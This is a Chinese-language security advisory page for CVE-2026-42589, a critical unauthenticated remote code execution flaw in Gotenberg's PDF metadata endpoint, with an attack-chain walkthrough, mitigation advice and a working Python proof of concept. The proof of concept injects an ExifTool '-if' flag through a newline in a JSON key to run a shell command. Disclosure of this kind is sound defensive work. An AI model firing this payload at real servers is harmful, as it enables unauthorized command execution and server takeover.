IPBUF安全漏洞报告
English
CVE-2026-42589 CVSS 9.8 严重

CVE-2026-42589 Gotenberg远程代码执行漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42589
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

RCE远程代码执行GotenbergExifToolCVE-2026-42589命令注入

漏洞概述

Gotenberg是一个基于Docker的无状态PDF API。在8.31.0版本之前,其`/forms/pdfengines/metadata/write`端点存在严重的远程代码执行漏洞。由于未对JSON键中的字符进行验证,攻击者可以通过在JSON键中嵌入换行符(\n)向ExifTool注入任意标志,从而在无需认证的情况下执行任意操作系统命令。该漏洞攻击隐蔽,响应为HTTP 200。

技术细节

该漏洞的根本原因在于Gotenberg在处理PDF元数据写入请求时,直接将用户提供的JSON对象传递给底层的`go-exiftool`库,进而调用ExifTool工具,且未对JSON键中的特殊字符进行过滤或转义。ExifTool通过stdin流接收参数,攻击者利用JSON键中的换行符(`\n`)可以分割输入流,将原本被视为数据的内容伪装成ExifTool的命令行参数。特别是`-if`参数,它允许执行任意的Perl表达式。攻击者构造特定的恶意JSON请求,在键中包含`\n-if`及恶意的Perl系统命令,即可诱骗ExifTool执行该命令。由于攻击无需用户交互和身份认证,且服务器端会返回HTTP 200状态码及有效的PDF文件,使得这种攻击行为极其隐蔽,难以被常规的Web监控手段检测。

攻击链分析

STEP 1
1. 侦察
攻击者发现目标服务器运行的是8.31.0版本之前的Gotenberg服务,并确认`/forms/pdfengines/metadata/write`接口可访问。
STEP 2
2. 构造载荷
攻击者构造特制的JSON数据,在JSON对象的Key中插入换行符(\n)和ExifTool参数(如`-if system('cmd')`),准备注入命令。
STEP 3
3. 发送请求
攻击者向目标端点发送包含恶意JSON元数据的HTTP POST请求,无需进行身份认证。
STEP 4
4. 命令注入与执行
Gotenberg后端将JSON传递给ExifTool,ExifTool解析被换行符分割的参数,将恶意部分识别为指令并执行其中的系统命令。
STEP 5
5. 建立立足点
服务器返回HTTP 200状态码,攻击者已在服务器后台成功执行任意代码,可能进一步获取Shell权限或安装后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json url = "http://target:3000/forms/pdfengines/metadata/write" # Prepare a dummy PDF file files = { "file": ("test.pdf", b"%PDF-1.4 dummy pdf content", "application/pdf") } # Malicious metadata payload # The key contains a newline (\n) which splits the ExifTool stdin stream. # We inject the '-if' flag to execute a Perl expression (system command). # Example: Creating a file named 'pwned' in the /tmp directory. metadata_payload = { "Author\n-if system('touch /tmp/pwned')\n#": "Vulnerable" } data = { "metadata": json.dumps(metadata_payload) } # Send the exploit request response = requests.post(url, files=files, data=data) if response.status_code == 200: print("Exploit sent successfully. Check /tmp/pwned on the target server.") else: print(f"Request failed with status code: {response.status_code}")

影响范围

Gotenberg < 8.31.0

防御指南

临时缓解措施
如果无法立即升级,建议通过网络访问控制列表(ACL)限制对Gotenberg API的访问,仅允许可信的内部IP调用。同时,应密切监控ExifTool进程的启动日志及其子进程行为,以发现潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表